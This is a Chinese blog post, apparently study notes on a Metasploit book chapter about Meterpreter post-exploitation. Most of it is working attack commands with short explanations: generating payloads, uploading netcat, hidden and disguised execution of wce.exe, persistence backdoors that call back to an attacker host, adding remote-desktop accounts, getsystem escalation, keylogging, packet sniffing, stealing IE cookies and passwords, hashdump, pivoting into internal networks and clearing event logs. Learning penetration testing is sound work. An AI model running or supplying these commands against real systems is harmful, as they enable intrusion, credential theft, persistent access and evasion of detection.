Metasploit渗透测试九之Meterpreter

攻击载荷

windows/download-exec 攻击载荷,下载指定URL文件并执行

如何使用攻击载荷
use windows/smb/ms08_067_netai
show payloads
info windows/exec
//查看攻击载荷信息

管理攻击载荷
msfpayload windows/exec CMD=dir c
//导出C语言二进制完整shell
msfpayload windows/exec CMD=dir R|ndisasm -u –
//使用ndisasm查看shellcode的汇编代码。

主角登场

Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要。

命令详细

攻陷主机后会MSF的一个meterpreter的会话
MSF终端显示meterpreter>提示符
使用?或者help获取帮助

基本命令

包含msf,ruby,目标shell等交互命令

background
//MSF终端,隐藏后台已执行其他操作
sessions
//查看获取的会话
sessions -i <会话id>
//选择会话ID进行交互
quit
//关闭退出会话
shell
//获取系统控制台shell

irb

irb
//使用ruby中封装好的方法
client.sys.config.sysinfo()
client.core.use("railgun")
//添加附加组建--Railgun
client.railgun.user32.MessageBoxA(0,"hello !world",NULL,MB_OK)
client.railgun.kernel32.SetThreadExecutionState("ES_CONTINUOUS|ES_SYSTEM_REQUIRED")

cat查看文件

cat c:\\boot.ini

获取目标机当前目录

getwd
getlwd

上传文件

upload -h
//查看帮助
upload netcat.exe c:\
//把netcat.exe上传至目标C盘根目录

下载文件

download c:\\xxx.exe
//需要双斜杠进行转义

编辑文件

edit c:\\windows\\system32\\drivers\\etc\\hosts
//调用VI编辑器对目标文件编辑

搜索文件

search -h
//查看帮助
search -d c:\\windows -f *.mdb
//-d为空全盘搜索

查看目标网络

ipconfig

端口转发

protfwd -h
//查看帮助
portfwd add -l 1234 -p 3389 -r <目标IP>
//外网链接1234将会转发到目标IP的3389

查看路由表信息

route

系统命令

查看进程信息ID

ps

把Meterpreter 会话转移到另外进程

migrate <进程pid>

目标执行文件

execute
//查看帮助
execute -H <-i> -f cmd.exe
//隐藏执行CMD -i 可空,是否交互
execute -H -m -d calc.exe -f wce.exe -a "-o foo.txt"
//已内存方法加载wce.exe文件并以calc.exe进程名显示 
//-a 是执行文件的参数

终结进程

kill

获取会话用户名

getuid

获取一些目标信息,如机器名,操作系统,

sysinfo

目标关机

shutdown

后渗透模块post

使用实例,使用post/windows/gather/forensice/enum_drives枚举主机磁盘驱动器

use post/windows/gather/forensice/enum_drives
set SESSION 3
exploit

如果在meterpreter会话中:run post/windows/gather/forensice/enum_drives

植入后门

meterpreter会话中

run persistence -X -i 5 -p 443 -r <回连主机>

上面意思为运行persistence
-X 添加到注册表自启动
-i 反响链接时间
-p 回连端口
-r 回连主机ip

持久化后门(书中介绍说比较普通,很容易发现及给杀)

run metsvc

监听31337端口,并传入3个文件
1,metsrv.dll meterpreter实现DLL
2,metsvc-server.exe 服务启动程序,对DLL进行加载
3,metsvc.exe 将上面2个安装成服务的功能

getgui:开启对方远程服务

run getgui -u <添加的远程账户> -p <连接密码>

如果对方在内网,需配合portfwd
还会生成日志清除脚本在
run multi_console_command -rc /root/.msf3/logs/scripts/getgui/clena_up__xxxx.xxx.rc
具体的路径看上面开启服务时返回的数据

权限提升

getsystem -h
//查看帮助
getuid
getsystem

另外可利用MS10-073和MS10-092

信息获取

dmplink模块获取办公文档

run post/windows/gather/dumplinks

enum_application获取主机安装软件,补丁

run post/windows/gather/enum_applications

键盘记录

keyscan_start
keyscan_dump
keyscan_stop

sniffer嗅探

use sniffer

具体整个流程如下

sniffer_interfaces
//查看网卡
sniffer_start 1
//选择将要进行嗅探的网卡
sniffer_dump 1 /tmp/xpsp1.cap
将嗅探到的数据保存在本机目录
sniffer_stop 1

标准的PCAP文件格式,可用Wireshark等工具

enum_ie读取IE浏览历史,COOKIE,IE缓存密码

run post/windows/gather/enim_ie

系统口令摄取

hashdump

如果整个获取失败可场下面的,功能更强大些

run windwos/gather/smart_hashdump

获取的密码是加密过的,可在线使用网页尝试破解

内网扩展

使用会话对内网进行扩展。如下
添加路由

run get_local_subnets
//获取内网网段信息
background
//会话到后台,返回MSF
route add 192.168.0.x 255.255.255.0
route print

配置完成后简单对445扫描实例

use auxiliary/scanner/portscan/tcp
set RHOST 192.168.0.0/25
set PORTS 445
run

掩踪灭迹

clearev

timesomp修改文件访问时间

全书总结

到这里第9章。还有一章节讲的是夺期竞赛,不打算专门弄文章记录了
基本书中知识点过了一遍。
也大致明白Metasploit运行原理,重要的还是要实践。

发表评论

邮箱地址不会被公开。 必填项已用*标注